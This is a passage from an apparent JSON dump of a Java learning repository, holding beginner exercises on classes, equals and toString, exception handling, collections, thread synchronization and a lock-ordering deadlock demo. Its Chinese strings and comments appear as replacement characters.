    "content": "package com.jun.plugin.javase.object.test;\n\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\t/*Person p1=new Person(\"����\",21);\n\t\tp1.show();\n\t\tWorker w1=new Worker(\"����\",20,9999);\n\t\tw1.show();\n\t\tStudent s1=new Student(\"����\",14,1406101010);\n\t\ts1.show();\n\t\tCoder c1=new Coder(\"Ǯ��\",27,\"java\");\n\t\tc1.show();*/\n//\t\tPerson p1=null;\n\t\t/*Person[] arr2=new Person[10];\n\t\tfor(int i=0;i<10;i++){\n\t\t\tPerson p1=new Person(\"����\"+(i+1)+\"��\",21+i);\n\t\t\tarr2[i]=p1;\n\t\t}\n\t\tfor(int i=0;i<arr2.length;i++){\n\t\t\tarr2[i].show();\n\t\t}*/\n\t\t\n\t\t/*Milk m1=new Milk(\"���ζ\",\"�б�\",10);\n\t\tm1.showName();\n\t\tm1.showProperty();\n\t\tCoffee c1=new Coffee(\"��ʽ\",\"��\",40);\n\t\tc1.showName();\n\t\tc1.showProperty();\n\t\tTea t1=new Tea(\"�̲�\",\"С��\",20);\n\t\tt1.showName();\n\t\tt1.showProperty();*/\n\t\t\n\t\t/*Triangle t1=new Triangle(6,8,10);\n\t\tif(t1.isTriangle()) {\n\t\t\tt1.setColor(\"��ɫ\");\n\t\t\tt1.getShap();\n\t\t\tSystem.out.println(\"�ܳ���:\"+t1.getPerimeter());\n\t\t}\n\t\telse {\n\t\t\tSystem.out.println(\"���߹�����������\");\n\t\t}\n\t\tSystem.out.println(\"==============\");\n\t\tIntrtface2 i1=new Intrtface2();\n\t\tSystem.out.println(\"�׳���:\"+i1.fact(5));\n\t\tIntrtface2 i2=new Intrtface2();\n\t\tSystem.out.println(i2.intPower(2,3));\n\t\tIntrtface2 i3=new Intrtface2();\n\t\tSystem.out.println(\"�������100��:\"+i3.findFactor(99,2));*/\n\t\t\n\t\t\n\t\t/*Student s11=new Student(\"����\",21);\n\t\tStudent s22=new Student(\"����\",22,\"Ů\",\"��Ϣ����\");\n\t\tStudent s33=new Student(\"����\",20);\n\t\ts11.introduce(s11);\n\t\ts22.introduce(s22);\n\t\ts33.introduce(s33);\n\t\t\n\t\t\n\t\tStudent s1=new Student(\"����\",21);\n\t\tStudent s2=new Student(\"����\",22);\n\t\tStudent s3=new Student(\"����\",20);\n\t\tStudent s4=new Student(\"����\",19);\n\t\tStudent s5=new Student(\"����\",23);\n\t\tStudent[] stuArr={s1,s2,s3,s4,s5};\n\t\t\n\t\tfor(int i=0;i<stuArr.length;i++){\n\t\t\tfor(int j=i+1;j<stuArr.length;j++){\n\t\t\t\tif(stuArr[i].getAge()>stuArr[j].getAge()){\n\t\t\t\t\tStudent temp=stuArr[i];\n\t\t\t\t\tstuArr[i]=stuArr[j];\n\t\t\t\t\tstuArr[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println(stuArr[i].toString());\n\t\t}*/\n\t\t\n\t\t/*int[] arr={1,3,2,5,2,7,1,8};\n\t\tSystem.out.println(getElement(arr,7));*/\n\t\t\n\t\tint[] arr2={1,2,3,4,5,6,1};\n\t\tSystem.out.println(getElement(arr2,2));\n\t\t\n\t}\n\t\n\tstatic int getElement(int[] arr,int index){\n\t\tif(arr==null){\n\t\t\tthrow new NullPointerException(\"����Ϊ��\");\n\t\t}\n\t\tif(index>=arr.length){\n\t\t\tthrow new ArrayIndexOutOfBoundsException(\"�����±�Խ��\"+index);\n\t\t}\n\t\treturn arr[index];\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Triangle.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Triangle extends Shape {\n\tprivate int longA;\n\tprivate int wideB;\n\tprivate int heightC;\n\t\n\tTriangle(int longA,int wideB,int heightC){\n\t\tthis.longA=longA;\n\t\tthis.wideB=wideB;\n\t\tthis.heightC=heightC;\n\t\tisTriangle();\n\t}\n\tboolean isTriangle() {\n\t\tif((this.longA+this.wideB>this.heightC&&this.longA+this.heightC>this.wideB&&this.wideB+this.heightC>this.longA)&&(this.longA-this.wideB<this.heightC&&this.longA-this.heightC<this.wideB&&this.wideB-this.heightC<this.longA)) {\n\t\t\treturn true;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n\t}\n\tvoid setLongA(int longA){\n\t\tthis.longA=longA;\n\t}\n\tint getLongA(){\n\t\treturn longA;\n\t}\n\tvoid setWideB(int wideB){\n\t\tthis.wideB=wideB;\n\t}\n\tint getWideB(){\n\t\treturn wideB;\n\t}\n\tvoid setHeightC(int heightC){\n\t\tthis.heightC=heightC;\n\t}\n\tint getHeightC(){\n\t\treturn heightC;\n\t}\n\t\n\t\n\tint getPerimeter(){\n\t\treturn (getLongA()+getWideB()+getHeightC());\n\t}\n\tvoid getShap(){\n\t\tSystem.out.println(getColor()+\"������\");\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test/Worker.java",
    "content": "package com.jun.plugin.javase.object.test;\n\npublic class Worker extends Person {\n\tprivate int gongzi;\n\tWorker(String name,int age,int gongzi){\n\t\tsuper(name,age);\n\t\tthis.gongzi=gongzi;\n\t}\n\t\n\tvoid setGongzi(int gongzi){\n\t\tthis.gongzi=gongzi;\n\t}\n\tint getGongzi(){\n\t\treturn gongzi;\n\t}\n\tvoid show(){\n\t\tSystem.out.println(getName()+\",\"+getAge()+\",\"+gongzi);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/Car.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class Car {\n\tprivate String type;\n\tprivate String color;\n\tprivate int num;\n\t\n\tCar(String type,String color,int num){\n\t\tthis.type=type;\n\t\tthis.color=color;\n\t\tthis.num=num;\n\t}\n\t\n\tvoid setType(String type){\n\t\tthis.type=type;\n\t}\n\tString getType(){\n\t\treturn type;\n\t}\n\tvoid setClor(String color){\n\t\tthis.color=color;\n\t}\n\tString getColor(){\n\t\treturn color;\n\t}\n\tvoid setNum(int num){\n\t\tthis.num=num;\n\t}\n\tint getNum(){\n\t\treturn num;\n\t}\n\tpublic String toString(){\n\t\treturn \"Car [type=\" + type + \", color=\" + color + \", num=\" + num + \"]\";\n\t}\n\n\tpublic boolean equals(Object obj){\n\t\tif(this==obj)\n\t\t\treturn true;\n\t\tif(obj==null)\n\t\t\treturn false;\n\t\tif(getClass()!=obj.getClass())\n\t\t\treturn false;\n\t\t\n\t\tCar other=(Car)obj;\n\t\tif(color==null){\n\t\t\tif(other.color!=null)\n\t\t\t\treturn false;\n\t\t}else if(!color.equals(other.color))\n\t\t\treturn false;\n\t\t\n\t\tif(num!=other.num)\n\t\t\treturn false;\n\t\t\n\t\tif(type==null){\n\t\t\tif(other.type!=null)\n\t\t\t\treturn false;\n\t\t}else if(!type.equals(other.type))\n\t\t\treturn false;\n\t\t\n\t\treturn true;\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tCar c1=new Car(\"����\",\"��ɫ\",120);\n\t\tCar c2=new Car(\"����\",\"��ɫ\",120);\n\t\t\n\t\t/*System.out.println(c1.getClass());\n\t\tSystem.out.println(c2.getClass());*/\n\t\t\n\t\tSystem.out.println(c1.equals(c2));\n\t\t\n\t\t/*Class clazz1=c1.getClass();\n\t\tClass clazz2=c2.getClass();*/\n\t\t/*System.out.println(clazz1==clazz2);\n\t\tSystem.out.println(c1.getClass());\n\t\tSystem.out.println(c1.toString());\n\t\tSystem.out.println(c1.hashCode());\n\t\tSystem.out.println(Integer.toHexString(c1.hashCode()));*/\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/ExceptionTest1.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class ExceptionTest1 {\n\tpublic static void main(String[] args) {\n\t\t/*Son s1=new Son();\n\t\ts1.show();*/\n\t\t\n\t\tint num=show();\n\t\tSystem.out.println(num);\n\t\t\n\t}\n\tstatic int show(){\n\t\tint aa=0;\n\t\ttry{\n\t\t\tSystem.out.println(\"show run \");\n\t\t\tif(1==1)\n\t\t\t\tthrow new RuntimeException(\"AA\");\n\t\t\taa=10;\n\t\t\treturn aa;\n\t\t}catch(RuntimeException e){\n\t\t\tSystem.out.println(e.toString()+\"catch code\");\n\t\t\taa=20;\n\t\t\treturn aa;\t\n\t\t}finally{\n\t\t\tSystem.out.println(\"finally---\"+aa);\n\t\t\taa=30;\n\t\t\tSystem.out.println(\"finally+++\"+aa);\n//\t\t    throw new RuntimeException(\"finally code\");\n//\t\t    System.exit(0);\n\t\t}\n\t}\n}\n\nclass A extends Exception{\n\t\n}\nclass B extends RuntimeException{\n\t\n}\n\nclass Father{\n\tvoid show() throws A{\n\t\t\n\t}\n}\n\nclass Son extends Father{\n\tvoid show() throws RuntimeException{\n\t\tSystem.out.println(1);\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/ListGather.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class ListGather {\n\tpublic static void main(String[] args) {\n\t\tList<String> list=new ArrayList<String>();\n\t\tlist.add(\"a\");\n\t\tlist.add(\"b\");\n\t\tlist.add(\"c\");\n\t\tint i=(int)(Math.random()*list.size());\n\t\tSystem.out.println(\"�����������е�Ԫ����\"+list.get(i));\n\t\tlist.remove(2);\n\t\tSystem.out.println(\"ȥ������Ϊ2��Ԫ�غ�\");\n\t\tfor(int j=0;j<list.size();j++){\n\t\t\tSystem.out.println(list.get(j));\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/RunnableTast.java",
    "content": "package com.jun.plugin.javase.object.test2;\n/*package com.ky26.object.test2;\n\npublic class RunnableTast {\n\tpublic static void main(String[] args) {\n\t\tRunnableClass r1=new RunnableClass();\n\t\tThread t1=new Thread(r1);\n\t\tt1.start();\n\t\t\n\t\tfor(int i=0;i<10;i++){\n\t\t\tSystem.out.println(\"main-------\"+i);\n\t\t}\n\t\t\n\t}\n}\nclass RunnableClass implements Runnable{\n\tpublic void run() {\n\t\tfor(int i=0;i<10;i++){\n\t\t\tSystem.out.println(\"aaa-------\"+i);\n\t\t}\n\t}\n}\n*/"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/RunnableTest2.java",
    "content": "package com.jun.plugin.javase.object.test2;\n/*package com.ky26.object.test2;\n\npublic class RunnableTest2 {\n\tpublic static void main(String[] args) {\n\t\tThread t1=new Thread(new RunnableImpl());\n\t\tt1.start();\n\t\t\n\t\tThread t2=new Thread(new Runnable(){\n\t\t\tpublic void run(){\n\t\t\t\tRunnableImpl.show();\n\t\t\t}\n\t\t});\n\t\tt2.start();\n\t}\n}\n\nclass RunnableImpl implements Runnable{\n\tstatic void show(){\n\t\tfor(int i=0;i<10;i++){\n\t\t\tSystem.out.println(Thread.currentThread().getName()+\"--------i---\"+i);\n\t\t}\n\t}\n\tstatic void show1(){\n\t\tfor(int i=10;i<20;i++){\n\t\t\tSystem.out.println(Thread.currentThread().getName()+\"--------i---\"+i);\n\t\t}\n\t}\n\tpublic void run(){\n\t\tshow();\n\t\t//show1();\n\t}\n}\n\n\npublic void run(){\n\twhile(a<15){\n\t\ttry{\n\t\t\tThreadA.sleep(1000);\n\t\t\tThreadB.join();\n\t\t}catch(InterruptedException e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\tfor(int i=0;i<10;i++){\n\t\t\tSystem.out.println(\"-----\"+i);\n\t\t}\n\t\ta++;\n\t}\n}\n\t\tpublic void run(){\n\t\t\twhile(a<15){\n\t\t\t\ttry{\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t}catch(InterruptedException e){\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tfor(int i=0;i<10;i++){\n\t\t\t\t\tSystem.out.println(\"-----\"+i);\n\t\t\t\t}\n\t\t\t\ta++;\n\t\t\t}\n\t\t}\n*/"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/SetUpdateStu.java",
    "content": "package com.jun.plugin.javase.object.test2;\nimport java.util.Iterator;\nimport java.util.TreeSet;\npublic class SetUpdateStu implements Comparable<Object> {\n\tString name;\n\tlong id;\n\tpublic SetUpdateStu(String name,long id){\n\t\tthis.id=id;\n\t\tthis.name=name;\n\t}\n\tpublic int compareTo(Object o){\n\t\tSetUpdateStu upstu=(SetUpdateStu)o;\n\t\tint result=id>upstu.id?1:(id==upstu.id?0:-1);\n\t\treturn result;\n\t}\n\tpublic String getName(){\n\t\treturn name;\n\t}\n\tpublic void setName(String name){\n\t\tthis.name=name;\n\t}\n\tpublic long getId(){\n\t\treturn id;\n\t}\n\tpublic void setId(long id){\n\t\tthis.id=id;\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tSetUpdateStu stu1=new SetUpdateStu(\"��ͬѧ\",01011);\n\t\tSetUpdateStu stu2=new SetUpdateStu(\"��ͬѧ\",01012);\n\t\tSetUpdateStu stu3=new SetUpdateStu(\"��ͬѧ\",01013);\n\t\tSetUpdateStu stu4=new SetUpdateStu(\"��ͬѧ\",01014);\n\t\tTreeSet<SetUpdateStu>tree=new TreeSet<SetUpdateStu>();\n\t\ttree.add(stu1);\n\t\ttree.add(stu2);\n\t\ttree.add(stu3);\n\t\ttree.add(stu4);\n\t\tIterator<SetUpdateStu>it=tree.iterator();\n\t\tSystem.out.println(\"�����е�����Ԫ��\");\n\t\twhile(it.hasNext()){\n\t\t\tSetUpdateStu stu=(SetUpdateStu)it.next();\n\t\t\tSystem.out.println(stu.getId()+\" \"+stu.getName());\n\t\t}\n\t\tit=tree.headSet(stu2).iterator();\n\t\tSystem.out.println(\"��ȡǰ�沿�ֵļ���\");\n\t\twhile(it.hasNext()){\n\t\t\tSetUpdateStu stu=(SetUpdateStu)it.next();\n\t\t\tSystem.out.println(stu.getId()+\" \"+stu.getName());\n\t\t}\n\t\tit=tree.subSet(stu2,stu3).iterator();\n\t\tSystem.out.println(\"��ȡ�м䲿�ֵļ���\");\n\t\twhile(it.hasNext()){\n\t\t\tSetUpdateStu stu=(SetUpdateStu)it.next();\n\t\t\tSystem.out.println(stu.getId()+\" \"+stu.getName());\n\t\t}\n\t\t\n\t\t/*long a=01011;\n\t\tSystem.out.println((int)a);*/\n\t\t\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/SyncTest.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class SyncTest {\n\tpublic static void main(String[] args) {\n\t\t/*Person1 p1=new Person1();\n//\t\tPerson1 p2=new Person1();\n\t\tThread t1=new Thread(p1);\n\t\tThread t2=new Thread(p1);\n\t\tt1.start();\n\t\tt2.start();*/\n\t\t\n\t\t/*Cus c=new Cus();\n\t\tThread t1=new Thread(c);\n\t\tThread t2=new Thread(c);\n\t\tt1.start();\n\t\tt2.start();*/\n\t\tPersonImpl p1=new PersonImpl();\n\t\tThread t1=new Thread(p1);\n\t\tThread t2=new Thread(p1);\n\t\tt1.start();\n\t\tt2.start();\n\t}\n}\n\nclass Bank111{\n\tprivate int sumMoney=0;\n\tvoid cunqian(int money){\n\t\tsumMoney+=money;\n\t\tSystem.out.println(Thread.currentThread().getName()+\"------\"+sumMoney);\n\t}\n}\n\nclass PersonImpl implements Runnable{\n\tBank111 bank=new Bank111();\n\tpublic void run(){\n\t\tint i=0;\n\t\twhile(i<13){\n\t\t\tsynchronized(\"\"){\n\t\t\t\ttry{\n\t\t\t\t\tThread.sleep(10);\n\t\t\t\t}catch(InterruptedException e){\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tbank.cunqian(100);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n}\n\n/*class Bank{\n\tint sumMoney;\n\tpublic void cunqian(int money){\n\t\tsynchronized(\"\"){\n\t\t\tsumMoney+=money;\n\t\t\ttry {\n\t\t\t\tThread.sleep(1000);\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\tSystem.out.println(\"sum=\"+sumMoney);\n\t\t}\n\t}\n}\nclass Person1 implements Runnable{\n\tBank b=new Bank();\n\tpublic void run(){\n\t\tfor(int i=0;i<3;i++){\n\t\t\tb.cunqian(100);\n\t\t}\n\t}\n}\n\nclass Bank1{\n\tprivate int sum;\n//\tObject obj=new Object();\n\tpublic void add(int num){\n//\t\tsynchronized(obj){\n\t\tsum=sum+num;\n\t\ttry {\n\t\t\tThread.sleep(10);\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tSystem.out.println(\"sum=\"+sum);\n//\t\t}\n\t}\n}\n\nclass Cus implements Runnable{\n\tprivate Bank1 b=new Bank1();\n\tpublic void run() {\n\t\tfor(int i=1;i<=3;i++){\n\t\t\tsynchronized(\"\"){\n\t\t\t\tb.add(100);\n\t\t\t}\n\t\t}\n\t}\n\t\n}*/\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/ThreadTest.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class ThreadTest{\n\tpublic static void main(String[] args) {\n\t\tThreadDemo t1=new ThreadDemo();\n\t\tThreadDemo t2=new ThreadDemo();\n\t\tt1.start();\n//\t\tt2.start();\n\t\tfor(int i=0;i<10;i++){\n\t\t\tint[] arr=new int[3];\n\t\t\t//System.out.println(arr[9]);\n\t\t\tSystem.out.println(i+Thread.currentThread().getName());\n\t\t}\n\t}\n}\n\nclass ThreadDemo extends Thread{\n//\tprivate String name=\"������\";\n//\tThreadDemo(String name){\n//\t\tthis.name=name;\n//\t\tsuper(name);\n//\t}\n\tpublic void run(){\n\t\tint[] arr=new int[3];\n\t\t//System.out.println(arr[3]);ִ���쳣���̲߳���Ӱ�쵽�����̣߳��統ǰ�̺߳�main�߳�\n\t\tfor(int i=0;i<10;i++){\n\t\t\tSystem.out.println(getName()+\"-------\"+i+\"-------\"+Thread.currentThread().getName());\n\t\t}\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/ThreadTest1.java",
    "content": "package com.jun.plugin.javase.object.test2;\n/*package com.ky26.object.test2;\n\npublic class ThreadTest1 {\n\tpublic static void main(String[] args) {\n\t\t\n\t\tTicket t1=new Ticket();\n\t\tTicket t2=new Ticket();\n\t\tTicket t3=new Ticket();\n\t\tTicket t4=new Ticket();\n\t\tt1.start();\n\t\tt2.start();\n\t\tt3.start();\n\t\tt4.start();\n\t\t\n\t\tTicketImpl ticket=new TicketImpl();\n\t\tThread t11=new Thread(ticket);\n\t\tThread t22=new Thread(ticket);\n\t\tt11.start();\n\t\tt22.start();\n\t}\n}\nclass Ticket extends Thread{\n\tprivate int num=100;\n\tpublic void run(){\n\t\twhile(true){\n\t\t\tif(num>0){\n\t\t\t\tSystem.out.println(Thread.currentThread().getName()+\"---sale---\"+num--);\n\t\t\t}\n\t\t}\n\t}\n}//���ַ�ʽʵ�ֶ��߳�\nclass TicketImpl implements Runnable{\n\tprivate int num=100;\n\tboolean flag=true;\n\tpublic void run(){\n\t\twhile(true){\n\t\t\tif(flag){\n\t\t\t\tsynchronized(\"\"){\n\t\t\t\t\tif(num>0){\n\t\t\t\t\t\ttry{\n\t\t\t\t\t\t\tThread.sleep(10);\n\t\t\t\t\t\t}catch(Exception e){\n\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()+\"---object---\"+num--);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tshow();\n\t\t\t}\n\t\t}\n\t}\n\tpublic synchronized void  show(){\n\t\tif(num>0){\n\t\t\ttry{\n\t\t\t\tThread.sleep(10);\n\t\t\t}catch(Exception e){\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\tSystem.out.println(Thread.currentThread().getName()+\"---function---\"+num--);\n\t\t}\n\t}\n}\n*/"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/ThreadTest2.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class ThreadTest2  {\n\tpublic static void main(String[] args) {\n\t\tThreadDemo1 t1=new ThreadDemo1();\n\t\tThreadDemo2 t2=new ThreadDemo2();\n\t\tThreadDemo3 t3=new ThreadDemo3();\n\t\tt1.start();\n\t\tt2.start();\n\t\tt3.start();\n\t\t\n\t}\n}\nclass ThreadDemo1 extends Thread{\n\tint a=10;\n\tpublic void run(){\n\t\twhile(a<15){\n\t\t\ttry{\n\t\t\t\tThread.sleep(1000);\n\t\t\t}catch(InterruptedException e){\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\tfor(int i=0;i<10;i++){\n\t\t\t\tSystem.out.println(\"-----\"+i);\n\t\t\t}\n\t\t\ta++;\n\t\t}\n\t}\n}\nclass ThreadDemo2 extends Thread{\n\tpublic void run(){\n\t\tfor(int i=0;i<10;i++){\n\t\t\tSystem.out.println(\"-----a\"+i);\n\t\t}\n\t}\n}\nclass ThreadDemo3 extends Thread{\n\tpublic void run(){\n\t\tfor(int i=0;i<10;i++){\n\t\t\tSystem.out.println(\"-----b\"+i);\n\t\t}\n\t}\n}\n\nclass JoinTest{\n\tint a=10;\n\tThread ThreadA=new Thread(new Runnable(){\n\t\tpublic void run(){\n\t\t\twhile(a<15){\n\t\t\t\ttry{\n\t\t\t\t\tThreadA.sleep(1000);\n\t\t\t\t\tThreadB.join();\n\t\t\t\t}catch(InterruptedException e){\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tfor(int i=0;i<10;i++){\n\t\t\t\t\tSystem.out.println(\"-----\"+i);\n\t\t\t\t}\n\t\t\t\ta++;\n\t\t\t}\n\t\t}\n\t});\n//\tThreadA.start();\n\tThread ThreadB=new Thread(new Runnable(){\n\t\tpublic void run(){\n\t\t\twhile(a<15){\n\t\t\t\ttry{\n\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t}catch(InterruptedException e){\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tfor(int i=0;i<10;i++){\n\t\t\t\t\tSystem.out.println(\"-----\"+i);\n\t\t\t\t}\n\t\t\t\ta++;\n\t\t\t}\n\t\t}\n\t});\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/ThreadTest3.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class ThreadTest3 {\n\tpublic static void main(String[] args) {\n\t\t/*Station s1=new Station();\n\t\tThread t1=new Thread(s1);\n\t\tThread t2=new Thread(s1);\n\t\tThread t3=new Thread(s1);\n\t\tt1.start();\n\t\tt2.start();\n\t\tt3.start();*/\n\t\tBank2 bank=new Bank2();\n\t\tPerson111 p1=new Person111(bank);\n\t\tPerson222 p2=new Person222(bank);\n\t\tp1.start();\n\t\tp2.start();\n\n\n\t\t\n\t\t\n\t}\n}\nclass Station implements Runnable{\n\tprivate int sumTiket=20;\n\tpublic void run(){\n\t\twhile(true){\n\t\t\tsynchronized(\"\"){\n\t\t\t\tif(sumTiket<1){\n\t\t\t\t\tSystem.out.println(\"Ʊ������\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\ttry{\n\t\t\t\t\t\tThread.sleep(10);\n\t\t\t\t\t}catch(InterruptedException e){\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(\"��ǰʣ��Ʊ����\"+sumTiket);\n\t\t\t\t\tsumTiket--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\nclass Bank2{\n\tstatic int sumMoney=1000;\n\tvoid counter(int money){\n\t\tBank2.sumMoney-=money;\n\t\tSystem.out.println(\"��̨ȡ����\"+money);\n\t}\n\tvoid ATM(int money){\n\t\tBank2.sumMoney-=money;\n\t\tSystem.out.println(\"ATM����ȡ����\"+money);\n\t}\n}\nclass Person111 extends Thread{\n\tBank2 bank;\n\tpublic Person111(Bank2 bank){\n\t\tthis.bank=bank;\n\t}\n\tpublic void run() {\n\t\twhile(Bank2.sumMoney>=100){\n\t\t\tbank.counter(100);\n\t\t\ttry{\n\t\t\t\tThread.sleep(100);\n\t\t\t}catch(InterruptedException e){\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n}\nclass Person222 extends Thread{\n\tBank2 bank;\n\tpublic Person222(Bank2 bank){\n\t\tthis.bank=bank;\n\t}\n\tpublic void run() {\n\t\twhile(Bank2.sumMoney>=200){\n\t\t\tbank.ATM(200);\n\t\t\ttry{\n\t\t\t\tThread.sleep(100);\n\t\t\t}catch(InterruptedException e){\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/ThreadTest4.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class ThreadTest4 {\npublic static void main(String[] args) {\n\t\t/*TicketImpl ticket=new TicketImpl();\n\t\tSystem.out.println(\"ticket\"+ticket);\n\t\tThread t1=new Thread(ticket);\n\t\tThread t2=new Thread(ticket);\n\t\tt1.start();\n\t\ttry {\n\t\t\tThread.sleep(10);\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tticket.flag=false;\n\t\tt2.start();*///����ʾ��\n\t\t\n\t\tTest1 a=new Test1(true);\n\t\tTest1 b=new Test1(false);\n\t\tThread t1=new Thread(a);\n\t\tThread t2=new Thread(b);\n\t\tt1.start();\n\t\tt2.start();\n\t\tnew String(\"aaa\");\n\t\t\n\t\t\n\t}\n}\n\nclass Test1 implements Runnable{\n\tprivate boolean flag;\n\tTest1(boolean flag){\n\t\tthis.flag=flag;\n\t}\n\t@Override\n\tpublic void run() {\n\t\t// TODO Auto-generated method stub\n\t\tif(flag){\n//\t\t\twhile(true){\n\t\t\t\tsynchronized (MyLock.locka) {\n\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()+\"if locka...\");\n\t\t\t\t\tsynchronized (MyLock.lockb) {\n\t\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()+\"if lockb...\");\n\t\t\t\t\t}\n\t\t\t\t}\n//\t\t\t}\n\t\t}else{\n//\t\t\twhile(true){\n\t\t\t\tsynchronized (MyLock.lockb) {\n\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()+\"else lockb...\");\n\t\t\t\t\tsynchronized (MyLock.locka) {\n\t\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()+\"else locka...\");\n\t\t\t\t\t}\n\t\t\t\t}\n//\t\t\t}\n\t\t}\n\t}\n}\nclass MyLock{\n\tpublic static final Object locka=new Object();\n\tpublic static final Object lockb=new Object();\n}\n\n\n/*class TicketImpl implements Runnable{\n\tprivate static int num=1000;\n\tObject obj=new Object();\n\tboolean flag=true;\n\tpublic void run(){\n\t\tif(flag){\n\t\t\twhile(true){\n\t\t\t\tsynchronized(obj){\n\t\t\t\t\tshow();\n\t\t\t\t}\n\t\t\t}\n\t\t}else{\n\t\t\twhile(true){\n\t\t\t\tshow();\n\t\t\t}\n\t\t}\n\t}\n\tpublic synchronized void show(){\n\t\tsynchronized (obj) {\n\t\t\tif(num>0){\n\t\t\t\ttry {\n\t\t\t\t\tThread.sleep(10);\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t\tSystem.out.println(Thread.currentThread().getName()+\"---fun---num=\"+num--);\n\t\t\t}\n\t\t}\n\t}\n}*/\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/test2/_IntegerDemo.java",
    "content": "package com.jun.plugin.javase.object.test2;\n\npublic class _IntegerDemo {\n\tpublic static void main(String[] args) {\n\t\tint a=12;\n\t\tInteger b;\n\t\tb=a;\n\t\ta=b;//����һ����ʽ�ͱ���ʽ����λ�ûᱨ��\n\t\tSystem.out.println(b==a);\n\t\tSystem.out.println(Integer.toString(a));\n\t\t\n\t\tString str=Integer.toString(456);\n\t\tString str1=Integer.toBinaryString(456);\n\t\tString str2=Integer.toHexString(456);\n\t\tString str3=Integer.toOctalString(456);\n\t\tSystem.out.println(\"ʮ����\"+str);\n\t\tSystem.out.println(\"������\"+str1);\n\t\tSystem.out.println(\"ʮ������\"+str2);\n\t\tSystem.out.println(\"�˽���\"+str3);\n\t\t\n\t\tString strArr[]={\"12\",\"22\",\"32\",\"42\"};\n\t\tint sum=0;\n\t\tfor(int i=0;i<strArr.length;i++){\n\t\t\tint myInt=Integer.parseInt(strArr[i]);\n\t\t\tsum+=myInt;\n\t\t}\n\t\tSystem.out.println(sum);\n\t\t\n\t\tString str11=\"21\";\n\t\tSystem.out.println(Integer.valueOf(str11));\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/Arr.java",
